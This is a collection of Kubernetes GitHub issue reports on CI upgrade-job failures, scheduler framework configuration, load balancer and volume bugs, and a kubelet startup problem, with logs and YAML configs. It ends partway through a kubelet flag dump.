<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    ci-kubernetes-e2e-gce-new-master-upgrade-master \r    ci-kubernetes-e2e-gce-new-master-upgrade-master-parallel \r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster-parallel \r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster \r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new \r    ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new-parallel \r \r   since when has it been failing  :\r some test runs have been stuck in a \ running\  status for more than 2 weeks now.\r the oldest running jobs seem to be from 4/15.\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master-parallel\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r   https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel\r \r   reason for failure  :\r the one thing that seems to show up consistently across all the \ stuck\  runs is that they start begin doing this step:\r    \r step: hitting the pod through the service's loadbalancer\r i0420 18:55:23.982  apr 20 18:55:23.981: info: poking \ http://35.233.144.179:80/echo?msg=hello\ \r i0420 18:55:24.072  apr 20 18:55:24.072: info: poke \ http://35.233.144.179:80/echo?msg=hello\  : success\r i0420 18:55:24.073  step: continuously hitting the pod through the service's loadbalancer\r    \r continue to do so a couple thousand times more.\r then, there is a call to delete the manage instance group for the cluster\r    \r w0421 09:48:32.026  deleting managed instance group...\r w0421 09:51:02.118  ................................deleted  https://www.googleapis.com/compute/v1/projects/ci-k8s-e2e-gci-tip-gce/zones/us-west1-b/instancegroupmanagers/bootstrap-e2e-minion-group .\r    \r \r the  poke \ http://35.233.144.179:80/echo?msg=hello\    starts to timeout and then this appears\r    \r i0421 09:51:44.177  apr 21 09:51:44.176: info: could not reach http service through 35.233.144.179:80 after 2m0s\r i0421 09:51:44.181  e0421 09:51:44.178457 7745 runtime.go:73  observed a panic: ginkgowrapper.failurepanic{message:\ apr 21 09:51:44.176: could not reach http service through 35.233.144.179:80 after 2m0s\ , filename:\ /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go\ , line:908, fullstacktrace:\ k8s.io/kubernetes/test/e2e/framework.  servicetestjig .testreachablehttpwithretriableerrorcodes 0xc002757000, 0xc00035ac90, 0xe, 0x50, 0x818fca0, 0x0, 0x0, 0x1bf08eb000 \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:908 +0x306\ k8s.io/kubernetes/test/e2e/framework.  servicetestjig .testreachablehttp ... \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/service_util.go:890\ k8s.io/kubernetes/test/e2e/upgrades.  serviceupgradetest .test.func1  \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/services.go:101 +0xa6\ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil.func1 0xc0018a1e80 \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:152 +0x54\ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0xc0018a1e80, 0x77359400, 0x0, 0x1, 0xc002df6060 \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:153 +0xf8\ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until ... \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\ k8s.io/kubernetes/test/e2e/upgrades.  serviceupgradetest .test 0x816f3c0, 0xc000d2b180, 0xc002df6060, 0x3533b01 \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/services.go:100 +0xaf\ k8s.io/kubernetes/test/e2e/upgrades.  serviceupgradetest .test 0x816f3c0, 0xc000d2b180, 0xc002df6060, 0x2 \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/services.go:82 +0x52\ k8s.io/kubernetes/test/e2e/lifecycle.  chaosmonkeyadapter .test 0xc002df80c0, 0xc002dea060 \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/lifecycle/cluster_upgrade.go:396 +0x309\ k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc002dea060, 0xc002df0030 \ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76\ created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do\ \\t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:86 +0xa7\ }  \r i0421 09:51:44.181  your test failed.\r i0421 09:51:44.182  ginkgo panics to prevent subsequent assertions from running.\r i0421 09:51:44.182  normally ginkgo rescues this panic so you shouldn't see it.\r i0421 09:51:44.182 \r i0421 09:51:44.182  but, if you make an assertion in a goroutine, ginkgo can't capture the panic.\r i0421 09:51:44.182  to circumvent this, you should call\r i0421 09:51:44.182 \r i0421 09:51:44.182  defer ginkgorecover  \r i0421 09:51:44.182 \r i0421 09:51:44.182  at the top of the goroutine that caused this panic.\r i0421 09:51:44.182   \r     \r \r furthermore, cleanup seems to go proceed as normal but a timeout still comes about\r    \r w0421 09:57:10.582  2019/04/21 09:57:10 process.go:155: step './hack/e2e-internal/e2e-down.sh' finished in 9m15.89122748s\r w0421 09:57:10.582  2019/04/21 09:57:10 e2e.go:277: sleeping for 30 seconds...\r i0421 18:53:20.285  .......................panic: test timed out after 24h0m0s\r    \r \r so it appears to be that the issue is due to ginkgo trying to continue its \ work\  after the worker nodes have been destroyed, thus no pods available to handle the requests it needs.\r \r  / /milestone v1.15\r  /cc @jimangel @smourapina @rarchk @alenkacz

what would you like to be added  :\r the  scheduling framework kep  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md  is now implementable. we have  already added  https://github.com/kubernetes/kubernetes/pull/75848  plugin interfaces and extension points for \  reserve  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md reserve \  and \  prebind  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md pre-bind \  plugins.\r \r an important piece of the framework is the  framework configuration  https://github.com/kubernetes/enhancements/blob/master/keps/sig-scheduling/20180409-scheduling-framework.md configuring-plugins . the configurations instructs which plugins should be initialized and called by the framework. it also provides configuration to each plugin.\r we should add the framework configuration to our scheduler component config. add the logic to parse the configuration and pass it to the scheduling framework when scheduler is initialized.\r \r  / ref/ kubernetes/enhancements 624

when there is a failure in hack/test-cmd.sh, there is no junit.xml output, so the github checks box shows a confusing message like:    :x: jenkins unit/integration - 2571 tests run, 9 skipped, 0 failed  i'm like: why is there a red :x: when nothing failed.  perhaps hack/test-cmd.sh can use https://github.com/akesterson/shunit to output a junit.xml, or something?

@soltysh, please take a look asap and let me know if this is a 1.6 blocker or not.\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.5-1.6-upgrade-cluster/19 k8sio-cronjob-should-not-emit-unexpected-warnings\r \r on gce, in the 1.5->1.6 upgrade-cluster job  which creates a 1.5 cluster, upgrades to 1.6, then runs 1.5 e2e tests , the cronjob tests are failing with \r \r    \r expected error:\r     < errors.statuserror | 0xc422657180>: {\r         errstatus: {\r             typemeta: {kind: \ \ , apiversion: \ \ },\r             listmeta: {selflink: \ \ , resourceversion: \ \ },\r             status: \ failure\ ,\r             message: \ the server could not find the requested resource\ ,\r             reason: \ notfound\ ,\r             details: {name: \ \ , group: \ \ , kind: \ \ , causes: nil, retryafterseconds: 0},\r             code: 404,\r         },\r     }\r     the server could not find the requested resource\r not to have occurred\r    \r

kubernetes version:1.6\r \r 1. created out of tree dynamic provisioner as a pod\r 2. created storage class with provisioner\r 3. created pvc with the storageclassname created in step 2\r 4. pv got created by the provisioner\r 5. created a pod with pvc. \r 6. deleted the pvc\r 7. this invoked pv delete though pv is in use by a pod  \r \r pv should not be deleted when it is in use\r \r \r

is this a bug report or feature request?  :\r  / @kubernetes/sig-scalability-bugs \r umbrella issue:  56062\r \r   what happened  :\r \r density test in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8222 failed with:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:498\r expected error:\r     < errors.errorstring | 0xc42381b910>: {\r         s: \ stream error http2.streamerror{streamid:0xb, code:0x2, cause:error nil } when reading response body, may be caused by closed connection. please retry.\ ,\r     }\r     stream error http2.streamerror{streamid:0xb, code:0x2, cause:error nil } when reading response body, may be caused by closed connection. please retry.\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scalability/density.go:286\r    \r \r we should probably check if there is anything interesting corresponding to this in the apiserver log, and/or add a retry.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r right now alpha suites only run specific tests for alpha features.  but we could potentially catch regressions in existing functionality earlier  caused by alpha features  if the suites also ran the regular tests.\r \r   what you expected to happen  :\r maybe it would be useful to have two alpha suites: one for just the alpha feature tests, and one for regression testing.\r

is this a bug report or feature request?  :\r  \r   what happened  :\r e2e case   it  should be able to create an internal type load balancer  slow   disabledforlargeclusters   fails on azure\r \r    \r   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/service.go:49\r  it  should be able to create an internal type load balancer  slow   disabledforlargeclusters \r   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1403\r � 1mstep� 0m: creating pod to be part of service lb-internal\r dec  1 08:59:32.938: info: waiting up to 2m0s for 1 pods to be created\r dec  1 08:59:33.158: info: found all 1 pods\r dec  1 08:59:33.158: info: waiting up to 2m0s for 1 pods to be running and ready:  lb-internal-d8sdv \r dec  1 08:59:33.158: info: waiting up to 2m0s for pod \ lb-internal-d8sdv\  in namespace \ e2e-tests-services-w5qln\  to be \ running and ready\ \r dec  1 08:59:33.378: info: pod \ lb-internal-d8sdv\ : phase=\ pending\ , reason=\ \ , readiness=false. elapsed: 220.083953ms\r dec  1 08:59:35.599: info: pod \ lb-internal-d8sdv\ : phase=\ pending\ , reason=\ \ , readiness=false. elapsed: 2.44126331s\r dec  1 08:59:37.820: info: pod \ lb-internal-d8sdv\ : phase=\ running\ , reason=\ \ , readiness=false. elapsed: 4.661891757s\r dec  1 08:59:40.040: info: pod \ lb-internal-d8sdv\ : phase=\ running\ , reason=\ \ , readiness=true. elapsed: 6.882135395s\r dec  1 08:59:40.040: info: pod \ lb-internal-d8sdv\  satisfied condition \ running and ready\ \r dec  1 08:59:40.040: info: wanted all 1 pods to be running and ready. result: true. pods:  lb-internal-d8sdv \r � 1mstep� 0m: creating a service with type loadbalancer and cloud specific internal-lb annotation enabled\r dec  1 08:59:40.312: info: waiting up to 20m0s for service \ lb-internal\  to have a loadbalancer\r � 1mstep� 0m: switching to external type loadbalancer\r dec  1 08:59:57.223: info: waiting up to 20m0s for service \ lb-internal\  to have an external loadbalancer\r � 1mstep� 0m: switching back to interal type loadbalancer, with static ip specified.\r dec  1 09:03:18.138: info: waiting up to 20m0s for service \ lb-internal\  to have an internal loadbalancer\r dec  1 09:23:18.799: info: loadbalancer ip not changed to internal.\r  aftereach   sig-network  services\r   /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135\r � 1mstep� 0m: collecting events from namespace \ e2e-tests-services-w5qln\ .\r � 1mstep� 0m: found 12 events.\r    \r \r error log is:\r    \r e1201 10:07:04.387097       1 service_controller.go:776  failed to process service e2e-tests-services-qchsw/lb-internal. retrying in 5m0s: failed to ensure load balancer for service e2e-tests-services-qchsw/lb-internal: user supplied ip address 10.240.11.11 was not found\r    \r \r in  55740, determinepublicipname is called even if internal load balancer wanted, and static ip specified. but it will fail when user specifies a static ip.\r \r this is a regression in v1.9.0-beta.1\r \r   what you expected to happen  :\r the internal balancer with specified static ip should work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r kind: service\r apiversion: v1\r metadata:\r   name: ng-in-static\r   annotations:\r     service.beta.kubernetes.io/azure-load-balancer-internal: \ true\ \r spec:\r   ports:\r     - port: 80\r       targetport: 80\r   selector:\r     a: a1\r   type: loadbalancer\r   loadbalancerip: 10.240.11.11\r    \r \r   anything else we need to know?  :\r \r   environment  :\r    \r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-beta.1\ , gitcommit:\ 5898890a735c4e418a33f41b960f816824d0587c\ , gittreestate:\ clean\ , builddate:\ 2017-11-30t19:37:07z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

  /assign\r /cc @saad-ali @jsafrane \r \r see design: https://github.com/kubernetes/community/pull/2199\r  todo: update to actual file when pr merged \r \r this issue is to track work being done on the migration.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r    \r kubectl -n blockchains port-forward grpc-k8s-test-server-0 50051:50051\r    \r then:\r    \r ./greeter_client\r 2018/11/22 12:04:15 could not greet: rpc error: code = unavailable desc = all subconns are in transientfailure, latest connection error: connection error: desc = \ transport: error while dialing dial tcp  ::1 :50051: connect: connection refused\ \r    \r \r   what you expected to happen  :\r    \r $ greeter_client\r 2018/11/22 12:17:43 greeting: hello world\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r dockerfile\r    \r from golang:1.11-alpine\r \r run apk add git\r run go get -u google.golang.org/grpc/examples/helloworld/greeter_server\r entrypoint  \ greeter_server\  \r    \r k8s:\r    \r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: grpc-k8s-test-server\r   namespace: blockchains\r spec:\r   selector:\r     matchlabels:\r       app: grpc-k8s-test-server   has to match .spec.template.metadata.labels\r       tier: blockchain\r       ver: v1\r       type: node\r   servicename: grpc-k8s-test-server\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: grpc-k8s-test-server\r         tier: blockchain\r         ver: v1\r         type: node\r     spec:\r       containers:\r       - name: grpc-k8s-test-server\r         image: zjb0807/grpc_k8s_test\r         imagepullpolicy: always\r         resources:\r           limits:\r             cpu: 400m\r             memory: 500mi\r           requests:\r             cpu: 200m\r             memory: 200mi\r          tty: true\r          command:\r            - sh\r            - -c\r            - |\r              trap exit term\r              sleep 10000 &\r              wait $!\r         ports:\r           - name: rpc\r             containerport: 50051\r    \r \r then:\r    \r $ go get -u google.golang.org/grpc/examples/helloworld/greeter_client\r $ greeter_client\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.7-gke.11\ , gitcommit:\ fa90543563c9cfafca69128ce8cd9ecd5941940f\ , gittreestate:\ clean\ , builddate:\ 2018-11-08t20:22:21z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

i set memory limit to 1.1gi for a container, then used  describe  to view the details, it returned  memory: 1181116006400m . but for 100mi, 1gi and   1.5gi  , it will be 100mi, 1gi and   1536mi  . 1. for 1.1gi and 1.6mi, it will be recognized as decimalsi.  2. for 1.5gi, it will be recognized as binarysi, but displayed with another suffix.  should we fix this?

per  15566 we should use pointers when a field in a go struct is optional, and not use pointers when it is required.  we should clean this up at some point.  also, since it will affect the in-progress versioned clients, we should think about doing the cleanup before that is released.  making the pointer-means-optional thing consistent will make the versioned clients easier for client-users to understand.

in hunting down a goroutine leak  19633 i was able to consistently create a situation where the overall settling time for a declarative change was far too high imho.        $ sudo ./hack/local-up-cluster.sh  $ submit single pause with replica of 1 <wait until pod is running> $ kubectl scale --replicas=50 rc/wide-pause <wait till kubelets starts pods>  $ kubectl scale --replicas=1 rc/wide-pause <wait till kubelets starts terminating pods>  $  kubectl scale --replicas=100 rc/wide-pause <notice overlap, total pod count over 100>       from there, the settling time to achieve 100 pods on a node > 20 minutes on average and was reproduced on two different environments as mentioned in the other issue.   /cc @kubernetes/sig-node @kubernetes/sig-scalability @ncdc @jeremyeder

currently, if the ugorji codec is not generated for types, a json serializer doesn't panic or return an error when decode, it just returns an empty result. it should fallback to use the json.unmarsh instead.  @krousey @wojtek-t

causes failures in:\r   https://github.com/kubernetes/kubernetes/issues/49150

 \r kubectl top node/pod should have option like \ --watch\  for watching node/pod resource usage.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug\r  \r \r   what happened  :\r  this line  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l546  is buggy. \r    go\r func  c  blobdiskcontroller  shouldinit   bool {\r \tif os.args 0  == \ kube-controller-manager\  ||  os.args 0  == \ /hyperkube\  && os.args 1  == \ controller-manager\   {\r \t\tswapped := atomic.compareandswapint64 &initflag, 0, 1 \r \t\tif swapped {\r \t\t\treturn true\r \t\t}\r \t}\r \treturn false\r }\r    \r it prevents running hyperkube from other path. in fact, it shouldn't assume the code is just running in controller master at all, especially when cloud provider is running out of tree.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r @kubernetes/sig-windows-bugs \r @andyzhangx \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r \r   what happened  :\r attempting to start kubelet on coreos machine with latest stable   1576.4.0  . i have many other blades which are pxe booting where the commands work. for some reason on this box where coreos is installed to disk, it is not working. i have checked every possible setting and file and they are all identical   permissions and values  .\r \r   what you expected to happen  :\r kubelet to start and start up manifests   api, proxy, controller  . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r \r   anything else we need to know?  :\r kubelet never actually starts a docker container. doing  docker ps -a  doesn't show anything exited. i can docker pull the images from google. i've tried almost every setting i can change over the past 2 days. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r i've tried both: v1.8.5 and v1.9.0\r - cloud provider or hardware configuration:\r dell r720xd. 24core 64gb ram, 22 ssds. most are ceph osds, sda is raid 1 ssds for the os and ideally kubernetes master. bonded 10g cards for private network   flannel   and bonded 1g cards for public network.\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r  4.13.16-coreos-r2 \r - install tools:\r baremetal plain install. no tools used. \r - others:\r downloaded the bins into /opt/bin/ as described in kubernetes docs. the node is a member of etcd cluster. manifests files are the usual, but kubelet doesn't get that far so i dont want to clutter and post configs. \r \r systemd kubelet config:\r    \r  service \r environment=\ path=/opt/bin/:/usr/bin/:/usr/sbin:$path\ \r \r execstart=/opt/bin/kubelet \\\r   --kubeconfig=/etc/kubernetes/master-kubeconfig.yaml \\\r   --register-schedulable=false \\\r   --cni-conf-dir=/etc/kubernetes/cni/net.d \\\r   --network-plugin=cni \\\r   --cgroup-driver=cgroupfs \\\r   --max-pods=300 \\\r   --container-runtime=docker \\\r   --allow-privileged=true \\\r   --cloud-provider= \\\r   --pod-manifest-path=/etc/kubernetes/manifests \\\r   --hostname-override=blade33 \\\r   --cluster_dns=10.3.0.10 \\\r   --fail-swap-on=false \\\r   --v=5 \\\r   --cluster_domain=cluster.local\r restart=always\r restartsec=10\r \r  install \r wantedby=multi-user.target\r  unit \r requires=flanneld.service etcd-member.service\r after=flanneld.service\r    \r master-kubeconfig.yaml:\r    \r apiversion: v1\r kind: config\r clusters:\r - name: local\r   cluster:\r     server: http://127.0.0.1:8080\r users:\r - name: kubelet\r contexts:\r - context:\r     cluster: local\r     user: kubelet\r   name: kubelet-context\r current-context: kubelet-context\r    \r \r \r logs from kubelet:\r    \r systemd 1 : started kubelet.service.\r flag --register-schedulable has been deprecated, will be removed in a future version\r i0102 10:40:08.656965   27429 flags.go:52  flag: --address=\ 0.0.0.0\ \r i0102 10:40:08.657104   27429 flags.go:52  flag: --allow-privileged=\ true\ \r i0102 10:40:08.657126   27429 flags.go:52  flag: --alsologtostderr=\ false\ \r i0102 10:40:08.657143   27429 flags.go:52  flag: --anonymous-auth=\ true\ \r i0102 10:40:08.657157   27429 flags.go:52  flag: --application-metrics-count-limit=\ 100\ \r i0102 10:40:08.657172   27429 flags.go:52  flag: --authentication-token-webhook=\ false\ \r i0102 10:40:08.657184   27429 flags.go:52  flag: --authentication-token-webhook-cache-ttl=\ 2m0s\ \r i0102 10:40:08.657204   27429 flags.go:52  flag: --authorization-mode=\ alwaysallow\ \r i0102 10:40:08.657222   27429 flags.go:52  flag: --authorization-webhook-cache-authorized-ttl=\ 5m0s\ \r i0102 10:40:08.657237   27429 flags.go:52  flag: --authorization-webhook-cache-unauthorized-ttl=\ 30s\ \r i0102 10:40:08.657250   27429 flags.go:52  flag: --azure-container-registry-config=\ \ \r i0102 10:40:08.657263   27429 flags.go:52  flag: --boot-id-file=\ /proc/sys/kernel/random/boot_id\ \r i0102 10:40:08.657278   27429 flags.go:52  flag: --bootstrap-checkpoint-path=\ \ \r i0102 10:40:08.657290   27429 flags.go:52  flag: --bootstrap-kubeconfig=\ \ \r i0102 10:40:08.657303   27429 flags.go:52  flag: --cadvisor-port=\ 4194\ \r i0102 10:40:08.657322   27429 flags.go:52  flag: --cert-dir=\ /var/lib/kubelet/pki\ \r i0102 10:40:08.657337   27429 flags.go:52  flag: --cgroup-driver=\ cgroupfs\ \r i0102 10:40:08.657350   27429 flags.go:52  flag: --cgroup-root=\ \ \r i0102 10:40:08.657362   27429 flags.go:52  flag: --cgroups-per-qos=\ true\ \r i0102 10:40:08.657375   27429 flags.go:52  flag: --chaos-chance=\ 0\ \r i0102 10:40:08.657395   27429 flags.go:52  flag: --client-ca-file=\ \ \r i0102 10:40:08.657407   27429 flags.go:52  flag: --cloud-config=\ \ \r i0102 10:40:08.657420   27429 flags.go:52  flag: --cloud-provider=\ \ \r i0102 10:40:08.657432   27429 flags.go:52  flag: --cloud-provider-gce-lb-src-cidrs=\ 130.211.0.0/22,35.191.0.0/16,209.85.152.0/22,209.85.204.0/22\ \r i0102 10:40:08.657452   27429 flags.go:52  flag: --cluster-dns=\  10.3.0.10 \ \r i0102 10:40:08.657475   27429 flags.go:52  flag: --cluster-domain=\ cluster.local\ \r i0102 10:40:08.657488   27429 flags.go:52  flag: --cni-bin-dir=\ \ \r i0102 10:40:08.657500   27429 flags.go:52  flag: --cni-conf-dir=\ /etc/kubernetes/cni/net.d\ \r i0102 10:40:08.657514   27429 flags.go:52  flag: --container-hints=\ /etc/cadvisor/container_hints.json\ \r i0102 10:40:08.657528   27429 flags.go:52  flag: --container-runtime=\ docker\ \r i0102 10:40:08.657541   27429 flags.go:52  flag: --container-runtime-endpoint=\ unix:///var/run/dockershim.sock\ \r i0102 10:40:08.657555   27429 flags.go:52  flag: --containerd=\ unix:///var/run/containerd.sock\ \r i0102 10:40:08.657569   27429 flags.go:52  flag: --containerized=\ false\ \r i0102 10:40:08.657596   27429 flags.go:52  flag: --contention-profiling=\ false\ \r i0102 10:40:08.657609   27429 flags.go:52  flag: --cpu-cfs-quota=\ true\ \r i0102 10:40:08.657622   27429 flags.go:52  flag: --cpu-manager-policy=\ none\ \r i0102 10:40:08.657635   27429 flags.go:52  flag: --cpu-manager-reconcile-period=\ 10s\ \r i0102 10:40:08.657648   27429 flags.go:52  flag: --docker=\ unix:///var/run/docker.sock\ \r i0102 10:40:08.657663   27429 flags.go:52  flag: --docker-disable-shared-pid=\ true\ \r i0102 10:40:08.657675   27429 flags.go:52  flag: --docker-endpoint=\ unix:///var/run/docker.sock\ \r i0102 10:40:08.657689   27429 flags.go:52  flag: --docker-env-metadata-whitelist=\ \ \r i0102 10:40:08.657702   27429 flags.go:52  flag: --docker-only=\ false\ \r i0102 10:40:08.657715   27429 flags.go:52  flag: --docker-root=\ /var/lib/docker\ \r i0102 10:40:08.657728   27429 flags.go:52  flag: --docker-tls=\ false\ \r i0102 10:40:08.657741   27429 flags.go:52  flag: --docker-tls-ca=\ ca.pem\ \r i0102 10:40:08.657755   27429 flags.go:52  flag: --docker-tls-cert=\ cert.pem\ \r i0102 10:40:08.657768   27429 flags.go:52  flag: --docker-tls-key=\ key.pem\ \r i0102 10:40:08.657781   27429 flags.go:52  flag: --dynamic-config-dir=\ \ \r i0102 10:40:08.657800   27429 flags.go:52  flag: --enable-controller-attach-detach=\ true\ \r i0102 10:40:08.657812   27429 flags.go:52  flag: --enable-custom-metrics=\ false\ \r i0102 10:40:08.657825   27429 flags.go:52  flag: --enable-debugging-handlers=\ true\ \r i0102 10:40:08.657865   27429 flags.go:52  flag: --enable-load-reader=\ false\ \r i0102 10:40:08.657882   27429 flags.go:52  flag: --enable-server=\ true\ \r i0102 10:40:08.657895   27429 flags.go:52  flag: --enforce-node-allocatable=\  pods \ \r i0102 10:40:08.657919   27429 flags.go:52  flag: --event-burst=\ 10\ \r i0102 10:40:08.657933   27429 flags.go:52  flag: --event-qps=\ 5\ \r i0102 10:40:08.657946   27429 flags.go:52  flag: --event-storage-age-limit=\ default=0\ \r i0102 10:40:08.657960   27429 flags.go:52  flag: --event-storage-event-limit=\ default=0\ \r i0102 10:40:08.657973   27429 flags.go:52  flag: --eviction-hard=\ imagefs.available<15%,memory.available<100mi,nodefs.available<10%,nodefs.inodesfree<5%\ \r i0102 10:40:08.658017   27429 flags.go:52  flag: --eviction-max-pod-grace-period=\ 0\ \r i0102 10:40:08.658032   27429 flags.go:52  flag: --eviction-minimum-reclaim=\ \ \r i0102 10:40:08.658051   27429 flags.go:52  flag: --eviction-pressure-transition-period=\ 5m0s\ \r i0102 10:40:08.658065   27429 flags.go:52  flag: --eviction-soft=\ \ \r i0102 10:40:08.658078   27429 flags.go:52  flag: --eviction-soft-grace-period=\ \ \r i0102 10:40:08.658092   27429 flags.go:52  flag: --exit-on-lock-contention=\ false\ \r i0102 10:40:08.658120   27429 flags.go:52  flag: --experimental-allocatable-ignore-eviction=\ false\ \r i0102 10:40:08.658133   27429 flags.go:52  flag: --experimental-allowed-unsafe-sysctls=\   \ \r i0102 10:40:08.658149   27429 flags.go:52  flag: --experimental-bootstrap-kubeconfig=\ \ \r i0102 10:40:08.658161   27429 flags.go:52  flag: --experimental-check-node-capabilities-before-mount=\ false\ \r i0102 10:40:08.658175   27429 flags.go:52  flag: --experimental-dockershim=\ false\ \r i0102 10:40:08.658200   27429 flags.go:52  flag: --experimental-dockershim-root-directory=\ /var/lib/dockershim\ \r i0102 10:40:08.658214   27429 flags.go:52  flag: --experimental-fail-swap-on=\ false\ \r i0102 10:40:08.658227   27429 flags.go:52  flag: --experimental-kernel-memcg-notification=\ false\ \r i0102 10:40:08.658240   27429 flags.go:52  flag: --experimental-mounter-path=\ \ \r i0102 10:40:08.658252   27429 flags.go:52  flag: --experimental-qos-reserved=\ \ \r i0102 10:40:08.658266   27429 flags.go:52  flag: --fail-swap-on=\ false\ \r i0102 10:40:08.658279   27429 flags.go:52  flag: --feature-gates=\ streamingproxyredirects=true\ \r i0102 10:40:08.658302   27429 flags.go:52  flag: --file-check-frequency=\ 20s\ \r i0102 10:40:08.658316   27429 flags.go:52  flag: --global-housekeeping-interval=\ 1m0s\ \r i0102 10:40:08.658330   27429 flags.go:52  flag: --google-json-key=\ \ \r i0102 10:40:08.658345   27429 flags.go:52  flag: --hairpin-mode=\ promiscuous-bridge\ \r i0102 10:40:08.658360   27429 flags.go:52  flag: --healthz-bind-address=\ 127.0.0.1\ \r i0102 10:40:08.658373   27429 flags.go:52  flag: --healthz-port=\ 10248\ \r i0102 10:40:08.658386   27429 flags.go:52  flag: --host-ipc-sources=\    \ \r i0102 10:40:08.658408   27429 flags.go:52  flag: --host-network-sources=\    \ \r i0102 10:40:08.658424   27429 flags.go:52  flag: --host-pid-sources=\    \ \r i0102 10:40:08.658445   27429 flags.go:52  flag: --hostname-override=\ blade33\ \r i0102 10:40:08.658458   27429 flags.go:52 